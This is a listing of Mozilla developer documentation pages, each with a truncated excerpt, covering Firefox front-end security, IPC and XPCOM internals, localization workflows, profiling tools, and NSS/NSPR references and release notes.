Security best practices for Firefox front-end engineers
Existing Security Controls Sanitizing all strings that enter the DOM through APIs such as innerHTML When running system-privileged chrome code, we sanitize all HTML fragments that are created for chrome-privileged documents. This policy includes all DOM APIs that take a string and parse it into a DOM tree. We use our built-in sanitizer with the following flags: SanitizerAllowStyle SanitizerAllowComments SanitizerDropForms SanitizerLogRemovals The sanitizer removes all scripts (script tags, event handlers) and form elements (form, input, keygen, option, optgroup, select, button, datalist). ...
Embedding Tips
ant it to proceed. If necessary you may also implement the nsIURIContentListener::IsPreferred(), returning PR_TRUE to ensure you are always the preferred URI handler and are called no matter what the content type. How do I copy items to the clipboard? Obtain the nsIClipboardCommands interface from the appropriate web browser object via nsIServiceProvider::GetInterface (or the do_GetInterface() helper method). How do I save a document or data to disk? Query for the nsIWebBrowserPersist interface implemented on the web browser object and call the saveURI() or saveDocument() methods on that. Alternatively, create a standalone webbrowser persist object and call the nsIWebBrowserPersist interface on that to save URIs and documents. This is recommended if you intend anything other than the uri...
Script security
ode, runs with system privileges. If the code is compromised, the attacker can take over the user's computer. Legacy SDK extensions also run with chrome privileges. Having the browser front end in JavaScript has benefits: it can be much quicker to develop in JavaScript than in C++, and contributors do not need to learn C++. However, JavaScript is a highly dynamic, malleable language, and without help it's difficult to write system-privileged code that interacts safely with untrusted web content. From the point of view of chrome code, the script security model in Gecko is intended to provide that help to make writing secure, system-privileged JavaScript a realistic expectation. Security policy Gecko implements the following security policy: Objects that are same-origin are able to access ...
Hacking with Bonsai
s when the tree is closed unless you are fixing a build problem at the request of a build person. If you are on the hook, your top priority is to be available to the build team to fix bustages. If you are on the hook, you are findable. You are either at your desk, or pageable, checking e-mail constantly, or on IRC so that you can be found immediately and can respond to any problems in your code. Helpful Attitudes The build team are your friends. They are doing a not-so-fun job, so treat them with respect. People are "on the hook" collectively. Don't just blame a certain team and walk away. ...
How to add a build-time test
The first link, though, is the "check" target in a Makefile. If a test is added, that test or its directory needs to be mentioned in a Makefile.in file somewhere so that the build system knows about it. Standalone executables To add a test that is written in C or C++ and which is called as a standalone executable, a few things must be done. For standalone executables, if one sets up the right variables, then the rules.mk file will do lots of magic and most of the heavy lifting. A simple example of adding a test is in . ...
How to get a stacktrace for a bug report
ozilla's crash report server currently only has debug information for Mozilla builds and thus the crash reporter cannot work if you use a build from a Linux distribution or if you compile from source code. In these cases you will need to use one of the alternative methods listed below. Note: When filing a crash report, it is important to know whether the crash occurs with Firefox safe mode. This helps engineers determine whether a particular extension or plugin is the cause of the crash. How to get a crash ID with the Mozilla Crash Reporter 1. Crash and submit a report to the system. The Mozilla Crash Reporter window should automatically come up after Firefox crashes. If you have any additional information about the crash, such as additional detail on what you were doing ...
How to Report a Hung Firefox
ctivity)? If Firefox is truly hung, please note the approximate amount of time you waited before forcing a crash (below) in the bug report. If you suspect a hang (as opposed to slow performance), wait one minute on an idle system before getting the stack trace. The crash report link for a hang, obtained by following the steps below. Submit a crash report for a hung Firefox The easiest way to help the Firefox stability team to debug these kinds of hangs is to make the hung Firefox crash and submit a crash report. Then file a bug report with the crash report ID. The steps to induce a crash are slightly different on each platform: Windows On Windows, the stability team has written a utility which will inject a crash into Firefox which will trigger the crash reporter: Download crashfirefox.
IME handling guide
It handles native key events before or after focused application (depending on the platform) and creates a composition string (a.k.a. preedit string), suggests a list of what the user attempts to input, commits composition string as a selected item off the list and commits composition string without any conversion. ...
IPDL Best Practices
Lifetime Management Ensure IPDL deletes your protocol All protocols must be deleted. Period. Are you sending the __delete__ message to trigger protocol deletion? This one is easy to miss, as the corresponding Recv__delete__ function has a stub implementation automatically generated in the base class. Simply calling delete on a pointer to an actor is not enough. ...
Extending a Protocol
Naturally, we want to remove that once we done implementing. Implementing methods on WindowGlobalChild.cpp So, now we need to do the child. Open up dom/ipc/WindowGlobalChild.cpp and let's implement: AllocPEchoChild() DeallocPEchoChild(PEchoChild* aActor) already_AddRefed<EchoChild> WindowGlobalChild::AllocPEchoChild() { RefPtr<EchoChild...
IPDL Type Serialization
espace IPC Once you have a serializer for a type, you can serialize a collection of it (ex: an nsTArray<ExampleStruct>) by simply declaring "using nsTArray<ExampleStruct>;' in your IPDL file, then using it in a IPC method. Serializers and deserializers are security-sensitive and must always receive two reviews from module owners who understand IPC serialization well. If in doubt, please ask for help! It is never acceptable to serialize/deserialize raw pointer values; if you are tempted, you probably should create a subprotocol for that data, so that IPDL can check the values and lifetime. ...
Implementing QueryInterface
y, and complicated hierarchies in general. The NS_GET_IID macro You can use the NS_GET_IID macro instead of typing out the full GetIID expression. In general, I disapprove of macros except in cases where the macro must expand to different text in different situations, e.g., different platforms, debugging vs. non-debugging, et al. In such cases macros are indispensible. In other cases macros may help some people but often cloud the issues for others. They always make the program source more fragile. In this case the macro is for convenience only, so I don't recommend it, but I do offer it up as an alternative. // ... if ( aIID.Equals(NS_GET_IID(nsIX)) ) foundInterface = NS_STATIC_CAST(nsIX*, this); else if ( aIID.Equals(NS_GET_IID(nsIY)) ) foundInterface = NS_STATIC...
Infallible memory allocation
e that the allocation will fail; however, the allocation routine will not, in this scenario, return to your code. Instead, the application will terminate. This should be rare, because the memory management system will do everything it can to find the memory you've asked for. Choosing a memory allocator As you write new code that needs to allocate memory, there are some simple rules to follow to help you decide whether to use a fallible or an infallible memory allocator: If you're allocating what may be a large chunk of memory, you should allocate the memory fallibly (using malloc() for example), and check the result to be sure it's not null. You should do this for large memory allocations because in extremely low memory conditions, as described in How can memory allocation be infallible?,...
JavaScript-DOM Prototypes in Mozilla
o that's how class constructor and their prototype properties are set up, what about the actual prototype chain of a XPConnected DOM object? The beauty of this code is that the prototype property of a class constructor is the real XPConnect prototype for that class. When XPConnect wraps a DOM object (i.e. creates a XPConnect JavaScript wrapper for a DOM object), XPConnect will call the scriptable helper method nsDOMClassInfo::PostCreate() which will make sure the prototype chain of the wrapper JSObject is properly set up. In this call, the nsDOMClassInfo code just needs to resolve the name of the class on the global object, and the prototype will be set up by the resolving code (nsWindowSH::GlobalResolve()). This is also done only once per class, nsDOMClassInfo::PostCreate() checks if the prot...
AddonType
Properties Attribute Type Description id string The unique ID for the type. name string The localized name for the type. uiPriority integer A number used to determine the order of types displayed in the user interface. The lower the number the higher in the list the type will appear. ...
Downloads.jsm
methods and properties for details. Using it in a XUL app In a XUL standalone application (running with XULRunner or firefox --app), you have to do additionnal things in order to use the new download manager. By default it is not enabled. It will be enabled when the bug 851471 will be closed. If you don't activate it, you could use Downloads.jsm, but your view will not be called by the external helper app service (when a user click on a file to download, in a web page). To enable the new download manager : First you have to set the pref browser.download.useJSTransfer to true. Then you should declare the new nsITransfer object during the startup of your app. Components.manager.QueryInterface(Components.interfaces.nsIComponentRegistrar) .registerFactory(Components.ID(...
JNI.jsm
Not fully qualified name, meaning if its a class, it needs the surrouning L and ; // aRet is a SIG for the return value. Not fully qualified name, same meaning as above row return '(' + (aParamsArr ? aParamsArr.join('') : '') + ')' + aRet; } function fullyQualifiedNameOfClass(aCl...
OS.File.Error
exists() Methods OS.File.Error.closed() Return an error representing the fact that a file is closed. OS.File.Error.exists() Return an error representing the fact that a file exists. Instances of OS.File.Error In case of any I/O error, the functions of OS.File raise instances of OS.File.Error. These exceptions hold both a human-readable error message detailing the I/O error and attributes to help determining the cause of the error. Cross-platform attributes operation The human-readable name of the failed operation. becauseExists true if the operation failed because a file or directory exists, false otherwise. becauseNoSuchFile true if the operation failed because a file or directory does not exist, false otherwise. becauseClosed true if the ...
Deferred
Parameters aReason Optional The rejection reason for the associated promise. Although the reason can be undefined, it is generally an Error object, like in exception handling. Note: This argument should not be a promise. Specifying a rejected promise would make the rejection reason equal to the rejected promise itself, and not its rejection reason. Backwards and forwards compatible helper This Deferred function can be used for backwards and forwards compatibility, due to a change that took place in Firefox 30. function Deferred() { // update 062115 for typeof if (typeof(Promise) != 'undefined' && Promise.defer) { //need import of Promise.jsm for example: Cu.import('resource:/gree/modules/Promise.jsm'); return Promise.defer(); } else if (typeof(PromiseUtils) != 'undefine...
Promise
own in onFulfill will be caught and passed to onReject, which is not the case when just passing onReject to then(). Promise catch( Function onReject ); The following calls are therefore identical: p.then(undefined, logError); p.catch(logError); Debugging By design, the instant state and value of a promise cannot be inspected synchronously from code, without calling the then() method. To help with debugging, only when inspecting a promise object manually, you can see more information as special properties that are inaccessible from code (this, at present, is implemented by randomizing the property name, for the lack of more sophisticated language or debugger support). These code-inaccessible, inspectable properties are: {{private:status}}: 0 for pending, 1 for fulfilled, or 2 for ...
Promise.jsm
While you may still import this module from the above paths, the recommended way for loading it is through the Add-on SDK loader. Introduction For an introduction to promises, you may start from the Add-on SDK documentation, keeping in mind that only the core subset is implemented in this module. A promise is an object representing a value that...
XPCOMUtils.jsm
t's contractID is passed as aValue parameter of addCategoryEntry. service: true, // optional array of applications' IDs in the form: // [ "{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}", ... ] // If this is defined, the component is registered in this // category only on the specified applications. apps: [ ... ] }], // QueryInterface implementation, e.g. using the generateQI helper QueryInterface: XPCOMUtils.generateQI( [Components.interfaces.nsIObserver, Components.interfaces.nsIMyInterface, "nsIFoo", "nsIBar" ]), // [optional] classInfo implementation, e.g. using the generateCI helper. // Will be automatically returned from QueryInterface if that was // generated with the generateQI helper. classInfo: XPCOMUtils.generateCI( {classID: Co...
Application Translation with Mercurial
le For having good chances that the translation suggestions get accepted, they should match the translation style of the texts in the application already translated. In general, the labels in the applications should have the same style like the operating system, e.g. use the same order of subject, verb and objects; decline verbs or not like the operating system does. The following resources can help figuring out the translation style and translate according to them: Check your localization team's page by clicking on the team with your language code (e.g. "de" for German) for a style guide (e.g. style guide for German). Transvision offers searching for texts and text ids ("entities" or "keys"), allowing to quickly find translations for already translated texts. Microsoft's terminology se...
Mozilla Content Localized in Your Language
Capitalize the first letter of the first word and the first letter of any proper nouns. Limit to one or two words. Note: if this doesn't apply to your language, indicate so as N/A. Articles -- Avoid them Articles (such as the word "the" in English) should be avoided wherever possible. User interface elements have limited space available for text. Avoiding articles will help ensure that your translations will be accommodated within the user interface. Note: if this doesn't apply to your language, indicate so as N/A. Ellipsis Ellipsis are often inserted automatically in the UI where strings are truncated. Ellipsis should only be used at high level of UI pages, but not be on the final page (after a series of click-through) where de...
L10n testing with xcode
uage from the Application Language menu and click Close. Tah dah! You're ready to test your localization of Firefox on iOS. Launching & testing your Firefox on iOS localization The iOS Simulator is fairly easy to use once you launch your app. To perform the next steps, you'll need to be familiar with how user gestures and hardware interactions work in the simulator. This guide should help. Press the Run button in the upper left-hand corner (the button has a playback icon). Navigate to the newly opened iOS Simulator window Many strings are accessibility strings and are only revieled when a user hovers their finger over the button. To view these strings, you'll need to start the Accessibility Inspector within the iOS Simulator by doing the following. In the iOS Simulator,...
Localizing XLIFF files for iOS
-XX"). Strings are located within <trans-unit> tags. Source English strings are contained in <source> child tags. Here is an example of such a <trans-unit> <trans-unit id="Add to Bookmarks"> <source>Add to Bookmarks</source> </trans-unit> Your translations must be contained inside <target> child tags. Go through the full xliff page adding <target></target> below each <source> tag set to help you to identify strings that need to be translated. Do not delete the <source> tag sets. <trans-unit id="Add to Bookmarks"> <source>Add to Bookmarks</source> <target>YOUR_TRANSLATION_HERE</target> </trans-unit> Provide translations of the strings in the <source> tag sets by placing their translations in the <target> tag sets beneath them. Keep in mind the following sets of characte...
Localizing with Pontoon
of-context localization: Click on the string you'd like to translate. Translation panel with original string and its details (e.g. comments) opens. Translate the string in the translation area below. Click the save button to save your translation. As you translate strings out-of-context, translations will also appear in website, if they could also be translated in-context. Translation helpers As you can see, suggestions from history, translation memory, machine translation and other locales are also available in the out-of-context translation panel. We call all of these translation helpers and here's how each of them will help you as you translate strings: History Displays previously suggested translations, including from other users. Machinery Displays matches from vari...
Patching a Localization
ation. More specifically, it's a problem with an already released localization. What do you do now? Well, you have come to the right place! This page will walk you through creating a patch for an existing localization. The steps below are fairly generic; for the most part they apply to creating l10n patches for Firefox, Thunderbird, SeaMonkey, or Calendar. I'll use Firefox in the example below to help you understand the general steps to creating a l10n patch. Prerequisites If you are to the point that you are patching existing localizations, we assume that you have the basic set of tools listed on the L10n Prerequisites wiki page. If you do not have these tools, take a few steps back, grab a cookie (because, let's face it, you deserve it for all of your work), and visit the L10n Prerequisites ...
QA phase
you haven't done that yet, don't worry, we'll wait for you! Pushing to your repository There are a couple of things you should take note of before you push to your repository: Make sure that your files have been encoded in Unicode without BOM (byte order mark). Remember that here you are pushing an entire directory, not a .zip archive file or an .xpi lang pack. The instructions below will help you learn how to use your Hg repository. After your new repository is created by the l10n-drivers, please visit the URL for your repo. We'll use x-testing here for our example. You can do this by entering the following URL into your browser: http://hg.mozilla.org/l10n-central/x-testing Now, navigate to your locale's directory on your local machine. If you're using Koala, this should be loca...
Localization quick start guide
10n program. To learn more about any of these, click on any of the links above. To get the big picture, we suggest you start with the green bubble and move from stage to stage. Note: This guide is written for two types of contributors: those starting a new localization and those joining an existing localization. It is important to know which information applies to which type of contributor. To help you filter through to the most applicable information, note that all information that is unique to those starting a new localization will be in orange font. All information that is unique to those joining an existing localization will be in blue font. Next >> ...
SVN for Localizers
i.e., working directory) will be updated with the newest files from the URL you initially cloned your repository from. It's very important that you do this often. As a general rule, you should at least do it before translating anything. Sometimes mistakes happen and you need to start over. Go back to the root of your working directory and execute this command: svn revert * This is a really helpful command because it reverts all of your changes to your working directory's last updated state. This is a huge blessing if you have been updating frequently. It's a nightmare if you haven't because it throws away all of your recent hard work. Keep this in mind because if you did a lot of work and you made some errors in just one file, maybe it would be wiser to simply correct those errors inste...
Localization technical reviews
uesting one and following its progress. The technical review process we use for new localizations can be confusing for any trying to start a new localization. We use this review process to perform quality assurance (QA) testing on your L10n efforts. This ensures that every user who downloads your localized Mozilla application receives all of your hard work in a functional product. Each QA review helps us in these ways: Ensures that your L10n work is visible and functional within the Mozilla application. Allows us to understand how each L10n team is performing their localization work. Allows us to discover potential bugs within L10n tools. Overview You've completed most, if not all, of your localization work. The merge date for migrating from one product release channel to the next (e.
Uplifting a localization from Central to Aurora
moved a string for the release+2, and you fixed a typo in the string that still exists in release+1. So you fixed the string on aurora, and you removed the broken string on central. That's gonna conflict, and you need to resolve that with your merge tool so that the resulting localized file doesn't have the string any more. Now, if you read this far, you may be overwhelmed, and that's OK. Ask for help. The folks on #l10n won't be able to make language decisions for you, but there will be folks around to explain why you're seeing a merge conflict, and if you're looking for a fix on one branch, on the other, or on both. At this point, your resulting workrepo has no more conflicts, and thus it's time to publish it again. In the workrepo directory, do #verify that we didn't forget changesets hg ...
What every Mozilla translator should know
ts and discussions about the translation of the Mozilla web pages to this group. All these groups are pretty low traffic. To keep the track of what's going on, it's also a good idea to read the Planet Mozilla L10N When you have a problem Use the above mailing lists The person in charge of the Mozilla l10n is Axel Hecht (l10n at mozilla.com), Pike on IRC Another interesting way of getting help is the IRC channel #l10n at irc.mozilla.org Useful Tools The L10n Dashboard Pontoon Narro Translate Toolkit Koala 0.1 MozillaTranslator Mercurial The hg is organized into several repositories, sometimes called branches. We have the main repository called mozilla-central (or trunk) where the day to day developing work is done. When a development is started for an specific version, a n...
Writing localizable code
idelines Thus, there are a few guidelines you should follow to make localization of your code easier: Choose good key names The names chosen for your keys (regardless of whether that's a DTD or a properties file) should be descriptive. Think of them as long variable names. If you change the semantics of a localized string, change the key. This will more likely be a good key name, and it will help tools to pick up that the change you do is different from just a spell fix. Try not to assume grammar in composite strings Splitting sentences into several keys often inadvertently presumes a grammar, a sentence structure, and such composite strings are often very difficult to translate. When a composite string is needed, try to give the translators "room to move". An example of a well used c...
gettext
ike this: msgctxt "Button label" msgid "Log in" msgstr "" msgctxt "Dialog title" msgid "Log in" msgstr "" You can add context to your strings by passing an additional argument to the gettext function call and then having xgettext extract it as the context. In PHP, however, the default gettext functions don't support passing such additional argument. To fix this, you may choose to write your own helper gettext functions. The following example illustrates this. <?php // Implement gettext context if (!function_exists('pgettext')) { function pgettext($context, $msgid) { $contextString = "{$context}\004{$msgid}"; $translation = _($contextString); if ($translation === $contextString) return $msgid; else return $translation; } function npgettext($conte...
MathML In Action
over to Bugzilla to report the discrepancies. Bugzilla has a big memory for these things, and besides, how would your problems be fixed if they are not reported?! Getting involved is part of your contribution towards enriching Gecko with an elegant standards-compliant MathML renderer. Your feedback can be manifested by putting MathML content on the web, reporting bugs in Bugzilla, and, if you can help with code, inspecting/improving the current code, and/or picking up an item in the ToDo list. ...
Mozilla MathML Project
for the innovation fairs at Mozilla Summit 2013. Updates Status of each tag Result of the MathML 3 Testsuite Unofficial nightly builds with MathML patches applied (maintained by Bill Gianopoulos) More updates and archived content Community View Mozilla forums... Mailing list Newsgroup RSS feed IRC channel Wiki used by contributors - check out the latest developments and help us improving MathML in Mozilla. Links Installing fonts for Mozilla's MathML engine MathML Version 3.0 - W3C Recommendation, 21 October 2010 W3C MathML Test Suite - Designed to check the implementation of each element one attribute (or built-in rendering behavior) at a time in a fairly thorough manner. MathML in Mozilla Developer Network MathML Accessibility in Mozilla Sample MathML Doc...
Mozilla Style System
eudo-element, in the form of style rules. nsIStyleRule an nsIStyleRule is animmutable set of CSS property-value pairs. For CSS style sheets, they correspond to CSS's concept of rules. However, they also exist for the other types of rule processors. When script dynamically changes the data represented by a CSS style rule, we create a new nsIStyleRule object; keeping the old one around briefly helps to determine what changed and how we need to handle that change. Computed style (front end) The interface that the front end exposes to the rest of Mozilla consists of a single nsStyleSet object and many nsStyleContext objects, each of which holds the computed style for an element, pseudo-element, or text node. The style set provides the API managing the rule processors and for creating styl...
mozilla::MonitorAutoEnter
It is designed to make using mozilla::Monitor safer and easier. To use mozilla::MonitorAutoEnter, declare and initialize it with a reference to a mozilla::Monitor. The mozilla::MonitorAutoEnter constructor will Enter() the underlying mozilla::Monitor automatically. When the mozilla::MonitorAutoEnter goes out of scope, its destructor will Exit() the underlying mozilla::MonitorAutoEnter. Important: When a mozilla::MonitorAutoEnter is live on the stack, your code is guaranteed to own the underlying mozilla::Monitor. ...
mozilla::MutexAutoLock
It is designed to make using mozilla::Mutex safer and easier. To use mozilla::MutexAutoLock, declare and initialize it with a reference to an mozilla::Mutex. The mozilla::MutexAutoLock constructor will Lock() the underlying mozilla::Mutex automatically. When the mozilla::MutexAutoLock goes out of scope, its destructor will Unlock() the underlying mozilla::Mutex. Because of mozilla::MutexAutoUnlock, the rule for determining if your code owns the Mutex underlying the MutexAutoLock is slightly more complicated than that for MonitorAutoEnter. This is because MutexAutoUnlocks can be nested within MutexAutoLocks and vice versa, indefinitely deeply. ...
mozilla::MutexAutoUnlock
It is designed to make using mozilla::Mutex safer and easier. To use mozilla::MutexAutoUnlock, declare and initialize it with a reference to a locked mozilla::Mutex. The mozilla::MutexAutoUnlock constructor will Unlock() the underlying mozilla::Mutex automatically. When the mozilla::MutexAutoUnlock goes out of scope, its destructor will Lock() the underlying mozilla::Mutex. Because of mozilla::MutexAutoLock, the rule for determining if your code does not own the Mutex underlying the MutexAutoUnlock is slightly more complicated than that for MonitorAutoEnter. This is because MutexAutoUnlocks can be nested within MutexAutoLocks and vice versa, indefinitely deeply. ...
Leak-hunting strategies and tips
on (although it does not verify that they match the library versions on the system). For example, on Fedora, these are in *-debuginfo RPMs (which are available in yum repositories that are disabled by default, but easily enabled by editing the system configuration). Tips Disabling Arena Allocation With many lower-level leak tools (particularly trace-malloc based ones, like leaksoup) it can be helpful to disable arena allocation of objects that you're interested in, when possible, so that each object is allocated with a separate call to malloc. Some places you can do this are: layout engine Define DEBUG_TRACEMALLOC_FRAMEARENA where it is commented out in layout/base/nsPresShell.cpp glib Set the environment variable G_SLICE=always-malloc Other References Performance tools Leak ...
Memory Profiler
e a profile you can use the buttons in the profiler panel. Start - start profiling Stop - stop profiling Reset - clear profile data when profiler is stopped Profile data is accumulated and resumed after start. Use reset to start a new recording. Understanding the Profiles Traditional memory analysis tools look at the data. They build the referring-to, namely retaining graphs. This is helpful in exploring the relationships among objects and identifying memory leaks. However, the information exposed in this way is usually a snapshot and the history of how memory has been used goes missing. Moreover, they usually don't keep tracks of how objects are allocated. Developers have to infer how an object might be allocated and freed by himself/herself. Another common approach is to plot t...
Profiling with Xperf
icrosoft Windows Performance Toolkit, and has functionality similar to that of Shark, oprofile, and (for some things) dtrace/Instruments. For stack walking, Windows Vista or higher is required; I haven't tested it at all on XP. This page applies to xperf version 4.8.7701 or newer. To see your xperf version, either run 'xperf' on a command line with no arguments, or start 'xperfview' and look at Help -> About Performance Analyzer. (Note that it's not the first version number in the About window; that's the Windows version.) If you have an older version, you will experience bugs, especially around symbol loading for local builds. Installation For all versions, the tools are part of the latest Windows 7 SDK (SDK Version 7.1). Use the web installer to install at least the "Win32 Development T...
Productization guide
ppens to use one of these in the browser, they don't have to configure them. The second purpose (demonstrate certain features of the product) is equally important: by providing these default services, we demonstrate particular features of the product, the ones which otherwise wouldn't be as discoverable. For example, putting one sample news feed on the Bookmarks Toolbar in new profiles in Firefox helps in learning about the Live Bookmarks. Including a couple of search engines instead of one in the Search Toolbar can help users understand that they can add as many plug-ins as they wish. This guide will walk you through the steps to successfully productizing your localization. The first page will cover performing research and preparing to submit productization recommendations. The following (and...
Firefox Sync
second) and has a blog where he talks about the various challenges syncing this kind of data. Servers Documentation for the various servers, including information on how to host your own. Android Searchfox has links to the main sync code and the storage layer. There are also some notes in a google document (that we really must move to its own Wiki page) There's also information available to help debug and diagnose Android sync issues. iOS There is some in-tree documentation and there are some extensive comments here and here. Desktop Notes on how to file a good bug for Desktop Sync. There are some notes on how to run our TPS testing infrastructure. We have a Google document on how bookmark repair works. ...
Leak Monitor
It will pop-up an alert when a window is closed and JavaScript still links to that window (for example, an observer that is not cleared when the window closes). ...
MailNews automated testing
This page and its sub-pages describe (and link to) the available test mechanisms within MailNews, and provide supporting information for developers and testers. Functional testing xpcshell-tests and make check These are core test harnesses to which MailNews adds its own tests. These tests are run against almost every changeset that gets committed to the Thunderbird and SeaMonkey code bases. ...
MailNews
tomated testing for a description of the other testing mechanisms. Leak And Bloat Tests This page describes how to perform tests that measure memory leaks and bloat for MailNews and its sub-components. MailNews automated testing Automated testing is an increasingly significant and important part of MailNews development. It allows reviewers to quickly pick up regressions in patches and helps developers to think about different cases. See pages tagged MailNews for additional MailNews-specific information. ...
Creating a Cookie Log
the steps to reproduce from the bug report. Once you have reproduced the bug, shut down Firefox. Close out of the command prompt/shell/Terminal, and then launch Firefox normally. Finally, attach the cookie-log.txt file to the bug where it was requested (by clicking on Create New Attachment). It should be in C:\temp on Windows, your home directory on Linux, or the Desktop on Mac OS X. Thanks for helping us make Firefox better! Original Document Information Author(s): Mike Connor Last Updated Date: December 4, 2004 Copyright Information: Portions of this content are (C) 1998-2007 by individual mozilla.org contributors; content available under a Creative Commons license | Details. ...
NSPR Contributor Guide
platform ports, documentation, test cases and other items from many sources. We (the NSPR module owners) sometimes disappoint our contributors when we must reject their contributions. We reject contributions for a variety of reasons. Some of these reasons are not obvious to an outside observer. NSPR wishes to document some guidelines for those who would contribute to NSPR. These guidelines should help the contributor in crafting his contribution, increasing its likelihood for acceptance. General Guidelines Downward Compatibility Because many different applications, besides the mozilla client, use the NSPR API, the API must remain downward compatible across even major releases. This means that the behavior of an existing public API item in NSPR cannot change. Should you need to have a simil...
Anonymous Shared Memory
sing an anonymous shared memory terminate, the backing file is deleted. ... If you are not paranoid, you're not paying attention. The file-mapped shared memory requires a protocol for the parent process and child process to share the memory. NSPR provides two protocols. Use one or the other; don't mix and match. In the first protocol, the job of passing the inheritable shared memory is done via helper-functions with PR_CreateProcess. In the second protocol, the parent process is responsible for creating the child process; the parent and child are mutually responsible for passing a FileMap string. NSPR provides helper functions for extracting data from the PRFileMap object. ... See the examples below. Both sides should adhere strictly to the protocol for proper operation. The pseudo-code bel...
An overview of NSS Internals
ss subsets of the input to NSS. The data will be processed and either returned directly or sent to a callback function registered in the context. When done, you call a finalization function that will flush out any pending data and free the resources. This line is a placeholder for future sections that should explain how libpkix works and is designed. If you want to work with NSS, it's often helpful to use the command line utilities that are provided by the NSS developers. There are tools for managing NSS databases, for dumping or verifying certificates, for registering PKCS#11 modules with a database, for processing CMS encrypted/signed messages, etc. For example, if you wanted to create your own pair of keys and request a new certificate from a CA, you could use certutil to create an...
NSS FAQ
Mozilla › Projects › NSS › FAQ
o integrate NSS into my application? The integration effort depends on an number of factors, such as developer skill set, application complexity, and the level of security required for your application. NSS includes detailed documentation of the SSL API and sample code that demonstrates basic SSL functionality (setting up an encrypted session, server authentication, and client authentication) to help jump start the integration process. However, there is little or no documentation currently available for the rest of the NSS API. If your application requires sophisticated certificate management, smart card support, or hardware acceleration, your integration effort will be more extensive. Where can I download the NSS tools? Binary builds of NSS for several platforms including the command-line ...
Getting Started With NSS
How to get involved with NSS Network Security Services (NSS) is a base library for cryptographic algorithms and secure network protocols used by Mozilla software. Would you like to get involved and help us to improve the core security of Mozilla Firefox and other applications that make use of NSS? We are looking forward to your contributions! We have a large list of tasks waiting for attention, and we are happy to assist you in identifying areas that match your interest or skills. You can find us on Mozilla IRC in channel #nss or you could ask your questions on the mozilla.dev.tech.crypto newsgroup. The NSS library and its supporting command line tools are written in the C programming language. Its build system and the automated tests are based on makefiles and bash scripts. Over ...
NSS 3.39 release notes
rphan private key from an NSS key database. Added the nss-policy-check utility, which can be used to check an NSS policy configuration for problems. A PKCS#11 URI can be used as an identifier for a PKCS#11 token. New Functions in cert.h CERT_GetCertKeyType - Query the Key Type associated with the given certificate. utilpars.h NSSUTIL_AddNSSFlagToModuleSpec - A helper function for modifying the PKCS#11 module configuration. It can be used to add a single flag to the Flags= section inside the spec's NSS= section. Notable Changes in NSS 3.39 The TLS 1.3 implementation uses the final version number from RFC 8446. Previous versions of NSS accepted an RSA PKCS#1 v1.5 signature where the DigestInfo structure was missing the NULL parameter. Starting wi...
NSS 3.49 release notes
SAN issue in softoken CKM_NSS_CHACHA20_CTR initialization Bug 1590001 - Additional HRR Tests (CVE-2019-17023) Bug 1600144 - Treat ClientHello with message_seq of 1 as a second ClientHello Bug 1603027 - Test that ESNI is regenerated after HelloRetryRequest Bug 1593167 - Intermittent mis-reporting potential security risk SEC_ERROR_UNKNOWN_ISSUER Bug 1535787 - Fix automation/release/nss-release-helper.py on MacOS Bug 1594933 - Disable building DBM by default Bug 1562548 - Improve GCM perfomance on aarch32 This Bugzilla query returns all the bugs fixed in NSS 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=FIXED&classification=Components&query_format=advanced&product=NSS&target_milestone=3.49 Compatibility NSS 3.49 shared libraries are backward compatible with all older NSS 3...
NSS 3.55 release notes
echanisms. See Bug 1649633 for more details. DTLS 1.3 implementation is updated to draft-38. See Bug 1647752 for details. NSPR dependency updated to 4.27. Known Issues On some platforms, using the Makefile builds fails to locate seccomon.h; ensure you are using make all rather than just make. Another potential workaround is to use the gyp-based build.sh script. If this affects you, please help us narrow down the cause in Bug 1653975. Bugs fixed in NSS 3.55 Bug 1631583 (CVE-2020-6829, CVE-2020-12400) - Replace P384 and P521 with new, verifiable implementations from Fiat-Crypto and ECCKiila. Bug 1649487 - Move overzealous assertion in VFY_EndWithSignature. Bug 1631573 (CVE-2020-12401) - Remove unnecessary scalar padding. Bug 1636771 (CVE-2020-12403) - Explicitly disable multi-p...
NSS Sample Code Sample1
Free the key using SECKEY_DestroyPrivateKey int Server::getPrivateKey(SECKEYPrivateKey **prvKey) { int rv = 0; PK11SlotInfo *slot = 0; SECKEYPrivateKeyList *list = 0; SECKEYPrivateKeyListNode *n; char *nickname; slot = PK11_GetInternalKeySlot(); if (!slot) goto done; // ListPrivKeysInSlot looks like it should che...
nss tech note4
(rv == SECSuccess) { SEC_ASN1DecoderContext * context = SEC_ASN1DecoderStart(NULL, &data, myCertExtTemplate); rv = SEC_ASN1DecoderUpdate( context, (const char *)(myextvalue.data), myextvalue.len); if (rv == SECSuccess) { /* Now you can extract info from SECItem fields of your extension data structure */ /* See "Misc helper functions" below */ ....... /* free the SECItem fields */ SECITEM_FreeItem(&data.version, PR_FALSE); SECITEM_FreeItem(&data.streetaddress, PR_FALSE); ...... SECITEM_FreeItem(&data.maxusers, PR_FALSE); } } Some miscellaneous helper functions C...
NSS reference
The proposed chapters below are based on the chapters of the SSL Reference and the categories of functions in NSS Public Functions. Should a particular page require the use of an underscore, please see the documentation for the Title Override Extension. Building and installing NSS Overview of an NSS application Based on "Overview of an SSL Application" in the SSL Reference. ...
OLD SSL Reference
Upgraded documentation may be found in the Current NSS Reference SSL Reference Newsgroup: mozilla.dev.tech.crypto Writer: Sean Cotter Manager: Wan-Teh Chang Chapter 1 Overview of an SSL Application SSL and related APIs allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted communications. This chapter introduces some of the basic SSL functions. ...
gtstd.html
Upgraded documentation may be found in the Current NSS Reference Getting Started With SSL Chapter 2 Getting Started With SSL This chapter describes how to set up your environment, including certificate and key databases. ...
pkfnc.html
Upgraded documentation may be found in the Current NSS Reference PKCS #11 Functions Chapter 7 PKCS #11 Functions This chapter describes the core PKCS #11 functions that an application needs for communicating with cryptographic modules. In particular, these functions are used for obtaining certificates, keys, and passwords. ...
sslcrt.html
Upgraded documentation may be found in the Current NSS Reference Certificate Functions Chapter 5 Certificate Functions This chapter describes the functions and related types used to work with a certificate database such as the cert7.db database provided with Communicator. ...
sslerr.html
Upgraded documentation may be found in the Current NSS Reference NSS and SSL Error Codes Chapter 8 NSS and SSL Error Codes NSS error codes are retrieved using the NSPR function PR_GetError. In addition to the error codes defined by NSPR, PR_GetError retrieves the error codes described in this chapter. ...
sslkey.html
